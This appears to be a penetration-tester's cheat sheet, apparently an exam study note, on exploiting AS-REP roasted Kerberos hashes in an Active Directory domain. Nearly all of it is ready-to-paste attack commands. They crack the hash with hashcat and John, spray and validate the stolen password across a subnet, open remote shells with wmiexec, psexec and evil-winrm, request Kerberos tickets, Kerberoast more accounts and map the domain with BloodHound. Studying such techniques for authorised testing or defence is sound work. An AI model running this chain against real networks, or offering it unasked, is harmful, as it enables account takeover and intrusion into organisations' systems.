Use AS-REP Hash — After GetNPUsers
Ctrl+F:
asrep·krb5asrep·18200·GetNPUsers·no-pass· cracked password
You have: a hash file from GetNPUsers (-outputfile asrep.txt).
Hash format:
$krb5asrep$23$jsmith@CORP.LOCAL:3e...
Goal: Crack offline → use plaintext password — often your first domain cred.
Request hashes → Kerberos Scripts > 📌 2) GetNPUsers.py — AS-REP Roasting
📌 1) Crack the hash
# Hashcat — mode 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt --show
# John
john asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5asrep
john asrep.txt --show📌 2) Validate the password
nxc smb 10.10.10.10 -u jsmith -p 'CrackedPassword' -d corp.local
nxc smb 10.10.10.0/24 -u jsmith -p 'CrackedPassword' -d corp.local --continue-on-success
nxc ldap DC_IP -u jsmith -p 'CrackedPassword' --groups📌 3) Use the password — shells
impacket-wmiexec corp.local/jsmith:'CrackedPassword'@TARGET
impacket-psexec corp.local/jsmith:'CrackedPassword'@TARGET
evil-winrm -i TARGET -u jsmith -p 'CrackedPassword'📌 4) Use the password — get TGT (Kerberos path)
impacket-getTGT corp.local/jsmith:'CrackedPassword' -dc-ip DC_IP
export KRB5CCNAME=jsmith.ccacheThen → Use Kerberos Ticket
📌 5) Next attacks with domain user
# Kerberoast as this user
impacket-GetUserSPNs corp.local/jsmith:'CrackedPassword' -dc-ip DC_IP -request -outputfile kerb.txt
# → [[Use Kerberoast Hash]]
# BloodHound
bloodhound-python -d corp.local -u jsmith -p 'CrackedPassword' -dc DC_IP -c All
# Password spray other users (careful on exam)
nxc smb 10.10.10.0/24 -u users.txt -p 'CrackedPassword' --continue-on-successChain → Credential Graph · Kerberoast
📌 Quick copy-paste
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --show
nxc smb DC_IP -u jsmith -p 'PASS' -d corp.local
impacket-getTGT corp.local/jsmith:'PASS' -dc-ip DC_IP
export KRB5CCNAME=jsmith.ccache
impacket-wmiexec corp.local/jsmith@TARGET -k -no-pass -dc-ip DC_IP